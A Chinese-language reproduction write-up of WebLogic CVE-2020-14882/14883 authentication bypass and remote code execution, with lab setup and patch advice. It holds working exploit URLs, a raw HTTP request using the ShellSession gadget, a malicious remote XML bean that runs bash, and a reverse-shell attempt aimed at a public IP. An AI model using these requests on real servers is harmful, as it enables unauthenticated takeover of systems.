简述
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
漏洞概述
未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。
影响版本
Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0
环境搭建
本次测试版本WebLogic12.2.1.4
下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
Java版本:
需要用管理员权限运行java -jar fmw_12.2.1.4.0_wls_lite_generic.jar
默认下一步,选择含示列的完整安装
访问http://Your ip:7001/console
出现登录页面即成功安装
漏洞复现
CVE-2020-14750: 权限绕过漏洞
远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console ,从而执行任意代码。
http://Your IP:7001/console/images/%252E./console.portal
CVE-2020-14883: 权限绕过漏洞
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console。
权限绕过漏洞(CVE-2020-14882),访问以下URL,未授权访问到管理后台页面(低权限的用户):
http://Your IP:7001/console/css/%252e%252e%252fconsole.portal
CVE-2020-14882: 代码执行漏洞
首先通过非法字符绕过访问,然后通过Gadget启动命令执行,poc如下
GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); HTTP/1.1
Host: 192.168.3.189:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADM
Upgrade-Insecure-Requests: 1
可以发现弹出计算器了
修复建议
下载最新补丁
Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。
linux下Weblogic(CVE-2020-14882,CVE-2020-14883)
Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全代表@voidfyoo提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个细分组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
环境搭建
使用vulhubdocker-compose up -d
启动完成后,访问http://your-ip:7001/console即可查看到后台登录页面。
漏洞复现
首先测试权限绕过突破(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码:
此时需要利用到第二个突破CVE-2020-14883。这个突破的利用方式有两种:
一是通过com.tangosol.coherence.mvel2.sh.ShellSession
二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
进入容器,可以发现touch /tmp/success1已成功执行:
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession
类。com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
是一种更为通杀的方法,最初在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
首先,我们需要构造一个XML文件,将其保存在Weblogic可以访问到的服务器上,如http://8.210.235.249/RCE.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://8.210.235.249/RCE.xml")")
可以使用python启动一起web服务(高效,快速,直观)
加载恶意xml成功
这个利用方法也有自己的缺点,就是需要Weblogic的服务器能够访问到恶意XML。
反弹shell的一些坑
Linux反弹shell方法:使用加载恶意xml反弹shell
http://106.75.229.39:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://your-ip/RCE.xml%22)
windows暂时没成功,很多大佬说的回显我也没成功。
参考:https://mp.weixin.qq.com/s/48VIwTkyFVXUTS78kNByhg
https://blog.csdn.net/HezhezhiyuLe/article/details/95960479
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md